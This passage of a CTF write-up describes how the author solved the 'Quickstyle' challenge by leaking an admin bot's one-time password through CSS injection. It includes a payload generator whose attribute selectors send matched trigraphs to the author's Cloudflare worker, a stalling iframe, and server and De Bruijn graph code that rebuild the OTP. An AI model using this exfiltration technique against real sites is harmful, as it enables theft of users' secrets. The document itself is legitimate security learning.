Finally, trigraphs started pouring in.

Reconstructing the triplets

With the trigraphs my server received, I tried to write a script to decode them.

first = 'o'
subseqs = 'uaz mkZ i44 g9F kZM mmO js3 eSb vQL mOL kI8 hi4 hqm lg9 qmk c3g cK1 qD6 rKc sl9 rhd eYe grh nsl fUq fgr tZA dJB tRF l9G hdJ erK kQM skQ gJT qfU eZX beY jdZ qD6 cK1 rKc sl9 rhd eYe grh nsl fUq fgr tZA dJB tRF hdJ l9G erK kQM skQ gJT qfU eZX beY jdZ' .split(' ')
next = {}
for (const s of subseqs) {
  if (next[s.slice(0, 2)]) {
    console.warn('conflict', s.slice(0,2),next[s.slice(0, 2)])
  next[s.slice(0, 2)] = s.slice(2)
  next[s.slice(0, 1)] ??= []
  next[s.slice(0, 1)].push(s.slice(1))
while (true) {
  if (first.length >= 2) {
    const poss = next[first.slice(-2)]
    if (poss) {
      first += poss
  const poss = next[first.slice(-1)]
  if (!poss || poss.length === 0) {
    console.error('i give up :(', first)
    if (poss.length > 1) {
      console.warn('ambiguous', first, poss)
    first += poss[0]

It builds a map next of strings to strings. For example, uaz becomes ua -> z and u -> az. The latter is there just in case some trigraphs didn’t make it due to the 6 MB limit, duplicates, or CSS variable collisions, but it’s not great for making certain decisions.

Then, it starts with the first character and tries to build on it using next. However, it kept failing with i give up :(, meaning that it reached a point where no trigraph could continue the string.

As it turns out, the three errors—reporting less than half the trigraphs, duplicate trigraphs not being reported, and CSS variable collisions—result in this being extremely lossy and not practical.

So I had two main problems to solve:

  1. How to scrape the OTP in a way that fits under 6 MB and isn’t too lossy?
  2. How can I reconstruct the OTP from its subsequences?

I suspected the answer to question #2 involved graph theory and may not be solvable in polynomial time. However, it was past midnight, so any amount of math hurt my head.

All $62^2$ pairs could easily fit in 6 MB. I could just reliably collect all pairs. Surely even pairs, with $62^2$ of them, would be unlikely to have duplicates in the OTP.

So at 2 am, I asked people on the UCSD CSE server6, U[CS]D, if they knew any existing algorithms for the problem: given a list of adjacent pairs in a string, reconstruct the string. Assume that pairs are unique.

Since 2 am is still a common time to be awake, several people responded. Apparently, this is a common problem in bioinformatics (probably for reconstructing DNA sequences). There exists this concept called a De Bruijn graph that was related.

They showed me an example of reconstructing the example pairs I gave, and I was convinced. This was the solution to my problem 2.

Just `string_reconstruction(2, pairs)` can unceremoniously print out the reconstructed string.

However, their code for this was part of an assignment for a class, so I couldn’t just use their code. But now that I knew of this “De Bruijn graph,” I could just ask ChatGPT.

write me python code that reconstructs a string given pairs in the string. assume that the pairs are unique. you may want to use debrujin graph

Here’s the code it generated:

import networkx as nx

def reconstruct_string_from_pairs(pairs):
    # Create a directed graph
    G = nx.DiGraph()

    # Iterate through each pair and add edges to the graph
    for pair in pairs:
        prefix = pair[:-1]
        suffix = pair[1:]
        G.add_edge(prefix, suffix)

    # Reconstruct the Eulerian path
    eulerian_path = list(nx.eulerian_path(G))

    # Reconstruct the string from the Eulerian path
    reconstructed_string = eulerian_path[0][0] + ''.join([pair[-1] for pair in eulerian_path])

    return reconstructed_string

# Example usage:
pairs = ['ATG', 'TGG', 'TGC', 'GTG', 'GGC', 'GCA']
reconstructed = reconstruct_string_from_pairs(pairs)
print("Reconstructed string:", reconstructed)

Shockingly, the code worked on my pairs. Success!

Birthday paradox: duplicate pairs are more common than I thought

Except now, I was back to problem 1. It appears that duplicate pairs aren’t as uncommon as I thought: I had fallen victim to the birthday paradox. While I was too lazy to work out the numbers, I just figured that I couldn’t assume pairs were unique anymore.

I wanted to bring back trigraphs. Surely, this algorithm could handle a mix of pairs and trigraphs. However, I eventually realized it would be quite involved to reconstruct a string from some pairs and trigraphs.

The way the algorithm works is,

  1. Creates edges between characters if a pair says one character is followed by another. This helps to show what letters can be chained.
  2. Find an Eulerian path—a path that uses all the edges (pairs) in the graph. This ensures that every pair is used exactly once.

Just by doing this, it can traverse all the edges and find a path that reconstructs the strings by only using each pair once.

Mixing trigraphs and pairs complicates this. Firstly, the function assumes that each node is just a character, so this loses the middle character of a trigraph. Secondly, to make edges between trigraphs and pairs, there will be extra edges that may not be necessarily used (e.g. if a trigraph is not followed by a pair). But an Eulerian path must use all edges, so it gives up if there are edges that aren’t needed.

I decided to just stick with trigraphs, and my reconstruction code ended up looking like this:

def reconstruct_string_from_pairs(pairs):
    G = nx.DiGraph()

    for pair in pairs:
        G.add_edge(pair[:-1], pair[1:], hey=pair)
    eulerian_path = list(nx.eulerian_path(G))

    reconstructed_string = eulerian_path[0][0] + ''.join([pair[1] for pair in eulerian_path])

    return reconstructed_string

Nodes are now two characters instead of just one, and edges are drawn between nodes if they’re pairs in the same trigraph.

Turning the path back into a string is buggy. Because nodes have a character in common with their neighbors, the reconstruction ends up looking something like


But I didn’t feel like fixing it because it felt easier to write code to deduplicate those pairs than to understand how the algorithm worked and debug it.

What about actually collecting those trigraphs? Since I was only using trigraphs for reconstruction, I had to make sure no trigraphs were left behind. How?

Earlier, I mentioned that CSS could do case-insensitive matching too, like [value*="string" i]. I could almost halve the number of trigraphs by case-insensitively matching only digits and lowercase letters, no uppercase.

{const alpha = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
const alphaL = '0123456789abcdefghijklmnopqrstuvwxyz'
let html = '<form name=querySelectorAll><style>input{'
 let background = 'background:'/*
 for (const a of alpha)
 for (const b of alpha){
   background += `var(--t${a+b}),`
   html += `--t${a+b}:none;`
const N = 10000
for (let i = 0; i < N; i++) {
   background += `var(--${i},none),`
//   html += `--${i}:none;`
 html += background.slice(0,-1) +'}'
 const check = s => /\d/.test(s) ? `'${s}'` : s
let i = 0
  let combos = new Set()
for (const a of alpha) {
  for (const b of alpha){
     for (const c of alpha){
 for (let i = combos.length; i--;) {
   const index  = Math.floor(Math.random() * (i + 1))
;[combos[i ], combos[index]]=[combos[index ], combos[i]]
 for (const combo of combos) {
html+=`[value*=${check(combo)} i]{--${(i++)%N}:url(//lc.ussa-say.workers.dev/${combo})}`
html += '</style><iframe src="//subsection-diana-commissioners-excited.trycloudflare.com/load"></iframe>'
 console.log(6e6/ html.length, 'kept')
await Deno.writeTextFile('heyy.html', html.slice(0, 6e6))}

There were many iterations of this script that I skimmed over, mostly because it was just trial and error and brainstorming. This is very close to the final version of my CSS-generating code.

Originally, I was using the first two letters of each trigraph as their CSS variable so there would only be $62^2$ CSS variables. However, since pairs aren’t unique, if there’s a duplicate pair, then their trigraphs will have a variable collision.

However, I could rotate through $N$ CSS variables numbered $0$ through $N - 1$ and assign them to each trigraph. To find some $N$ with a low chance of having collisions, I found a birthday paradox calculator on dCode. I wanted no one to share the same birthday (CSS variable), and there were 78 people (trigraphs).

With 1000 CSS variables, the probability this can happen is 3.9%. That’s incredibly low, so I should expect a collision most of the time. With 10 000 variables, the probability jumps up to 73%, which is good enough for me. This is why there’s a const N = 10000 line in the script above.

So now I have case-sensitive pairs and case-insensitive trigraphs. The trigraphs can be reconstructed into the OTP, but the OTP is case-sensitive. So I need to make trigraphs uppercase as needed based on the case-sensitive pairs I have.

Reconstructing the trigraphs

The web server that collected the request URLs had by now grown very sophisticated. It keeps track of the paths in a list, then after a second of silence, it assumes all of the trigraphs and pairs have been requested and received.

Then, for each trigraph, it looks up the pairs7 that could constitute it, then uses the letter cases in the pairs to create the trigraph. However, multiple pairs might only differ by case, like ab and Ab. In these cases, my server just tries every combination; there usually aren’t that many (maybe up to 16 combinations).

      const lowers = {}
      for (const b of two) {
        lowers[b.toLowerCase()] ??= []
      // console.log(lowers)
      let i =0
      const w = three.map(a => {
        const options = new Set()
        for (const lower of lowers[a.slice(0, 2)]??[]) {
for (const  upper of lowers[a.slice(1)]??[]){
  if (lower[1] === upper[0]) {
    options.add(lower + upper[1])
        // const lower = lowers[a.slice(0, 2)]
        let w = [...options]
        if (w.length>1) console.log('multiple options',a,w)
        if (w.length===0) console.log('no options',a,)
        return w

Then, for every possible set of cased trigraphs, I reconstruct it using the Python program and print the results to the console.

    const ans = []
for (const b of permute(w)) {
  console.log(`python3 bubby.py ${b.join('-')}`)
  const command = new Deno.Command('python3', {
    args: [

  const {stdout,stderr} = await command.output()
  const out = new TextDecoder().decode(stdout)
  console.error(new TextDecoder().decode(stderr))
  const otp = out.trim()
  let s = otp[0]
  for (let i = 0; i < otp.length; i+=2) {
    s += otp[i+1]

    console.log('https://quickstyle.chall.lac.tf/flag?user=1&otp='+s + '')

console.log('results', ans)
if (three.length !== 78) {
  console.error(three.join(' '))
  console.error(`${three.length} triplets received, expected 78. :/`)
  // Deno.exit(1)

The error at the end warns me that there were duplicate triplets (which can happen but isn’t as common as duplicate pairs), so I shouldn’t trust the reconstructed OTP.

This does work! Although many times it fails because it’s not equipped to handle duplicate subsequences, in fewer than ten attempts I can get one or two OTPs right, which is enough for me to do manually with Admin Bot.

Except, my server wasn’t receiving anything from Admin Bot.

Admin Bot won’t run my code

console.log('page accessed!', req.headers.get('user-agent'))

My server did notice that Admin Bot successfully loaded my injected CSS. But that was it. On the Admin Bot page, it said “Visit successful,” which meant that it felt like it was done and closed the page.

Why? I had two hypotheses:

I did notice that when I decreased N (the number of CSS variables) down to 1000, Admin Bot did start sending requests to my server. This observation was consistent with my hypotheses. But 1000 CSS variables isn’t enough for me.

I kept trying to wrangle with Admin Bot, which towards 6 am involved just repeatedly sending Admin Bot to my page, solving the reCAPTCHA each time, hoping that eventually, it might linger on the page just long enough to give me the trigraphs I needed.

Eventually, I gave up and resorted to creating a ticket on the LA CTF Discord server. Unsurprisingly, everyone was asleep, so I assumed I’d get a reply by the time I woke up. I set my alarm for 12 pm to give myself a few hours before the end of the CTF to respond and continue solving the challenge.

The challenge author responded at 10:04, which I didn’t see until I woke up at 11:04.

@Sean it might be bc ngrok free tier requires a header to be sent with first request?

My official solve uses ngrok free tier but I never had to set the request while when my friends use free tier they apparently have to

I would recommend serving your html css payload with GitHub pages and use a cf worker or glitch or cf-tunneled server for your exfil server

I took their feedback and tried setting up a Cloudflare Worker, gave up (I don’t have a domain), then used an anonymous Cloudflare Tunnel. It didn’t work. I had already used GitHub Pages, but it didn’t seem to change anything.

I gave them the CSS file I used.

uh your css looks good

its p much what i ddi

except i didn’t bother initializing all the variables to none

i think you could make your cloudflare url shorter

at least for me it was just like sometwolettercombo.uesrname.workers.dev


but yea ur thing looks good, i think u jsut need a tweak or 2

ermmmm your form is unclosed, i wonder if there are some garbled html issues

Removing the variable initializations broke my code because when a CSS variable isn’t defined, I think it defaults to an empty string, resulting in duplicate commas like background: ,url(...),;, which is not valid syntax. So I instead used var(--name, none), where none is the default value if the variable isn’t defined. I closed my <form> and <style> tags, which I hadn’t done before to save characters (it worked without the closing tags).

I then also set up a custom Cloudflare workers.dev domain, la.ussa-say.workers.dev. I accidentally ruined my DNS cache by visiting it in my browser before it was set up, so I changed it to lc.ussa-say.workers.dev.

Even after all these changes, it still didn’t work, and now I had a mess of tunnels and servers running on my laptop.

According to them, Admin Bot couldn’t have been timing out because they have a specific error message for it. Their solution rendered “instantly,” which meant two seconds, which was a bit slower than my solution.

Finally, they suggested,

uhmmmmm ok maybe try just putting some iframes

in the page

that just like


like just like 5 iframes to some url that takes 10s to load

I created a route on my server that would keep loading by receiving a request and pretending to be working on it8, while in reality, it ignores the request.

const part = req.url.split('/').at(-1)
if (part === 'load') {
  // dont respond. let it sit.
  return new Promise(()=>{})
<iframe src="//subsection-diana-commissioners-excited.trycloudflare.com/load"></iframe>

Finally, after almost twelve hours, I saw results coming in.

`vQi1sgOidhhKbGweLOQuvIvDVygqUt4BN8Z6hSMcUwOoYHhXThgIrSZfPibet0GH1bRy398E3oiBIv7N` and other potential OTPs.

The first attempt that worked had multiple possible results. For some reason, I instinctively felt that the first one was the OTP—the stakes were low. I tried it by visiting https://quickstyle.chall.lac.tf/flag?user=1&otp=vQi1sgOidhhKbGweLOQuvIvDVygqUt4BN8Z6hSMcUwOoYHhXThgIrSZfPibet0GH1bRy398E3oiBIv7N.



Here are the files I made for this challenge:

As it turns out, my solution was the intended solution. On the Discord server, apparently some other teams used the bfcache to avoid refreshing the OTP. Chrome now avoids reloading the page when you go back and forth in history, but it apparently does re-execute the page, so it can fetch page again. This allows them to change their CSS file as they discover more characters, using the more traditional CSS injection approach. Another team claimed to take advantage of Math.random()’s PRNG-ness, but I’m not sure if they’ve elaborated on that.

This challenge was a lot of work and required a lot of brainstorming, particularly for exfiltrating the OTP in a way that could be reconstructed. But I think it was very rewarding both because I was persistent and it was among the harder challenges of the CTF.

While I don’t think I learned too much about CSS from this challenge, it’s very interesting to see an approach to CSS injections that usually isn’t required in other challenges. I did learn about more techniques for CSS injections, and I wonder if the same solution could work for CSS injection challenges in the future.

I also think it’s incredibly amusing how intertwined branches of math—the birthday paradox from probability and reconstructing strings by finding an Eulerian path in a De Bruijn graph—were, despite the challenge seemingly just being about CSS.

At worst, I just think that debugging Admin Bot was frustrating. As feedback—not as critique for the LA CTF organizers who tried their best to help—it might be helpful in the future to provide the source for Admin Bot, or at least have a list of tips or common issues. I feel like I could’ve been told about keeping Admin Bot busy a lot earlier, but maybe it might just be obvious to others who have had more experience in CTFs with infrastructure similar to Admin Bot.

All in all, Quickstyle is one of the most interesting yet difficult challenges I’ve completed for a CTF. I look forward to seeing more challenges by r2uwu2 and others on the LA CTF team next year.

A big thanks to LA CTF for their wide variety of challenges and excellent infrastructure! 🥰

  1. Something I never got to use at UCSD because UCSD didn’t have a two-year housing guarantee. 

  2. The deepest darkest secret doesn’t work because the server just sets it to todo for all non-Samy users. 

  3. You might be wondering how JSFuck can create a function in the first place. You can get a from false and t from true, and arrays have a method named at, which you can access with []['a' + 't']. It’s also possible to get the other letters in constructor, so you can use []['at']['constructor'] to get a reference to the Function constructor, which you can use to convert strings to functions. For example, Function('return 3') creates a function that returns 3. 

  4. This was originally a Node-specific feature that has recently been standardized into JavaScript, adding a fourth comment syntax to JavaScript’s existing family of //, /* */, and <!-- -->

  5. I tried looking through my browsing history, but there’s no evidence of me ever learning about this from anything online. Based on my browsing history, it just looks like I was trying things like <span id="document"> then suddenly had a stroke of genius and tried doing <form name=querySelectorAll>. Then, I wondered where I got this idea from and tried to look up “form name getelementbyid injection” to find the original post, but seemed to fail. 

  6. Again, as noted at the beginning of the article, everyone at UCSD is part of our team. I don’t think this counts as cheating. At worst it’s just some OSINT. 

  7. It’s possible for a trigraph to be missing a pair, like having abc but not ab, due to CSS variable collisions. 

  8. Like our dining halls’ mobile ordering app. 

See source and revision history on GitHub.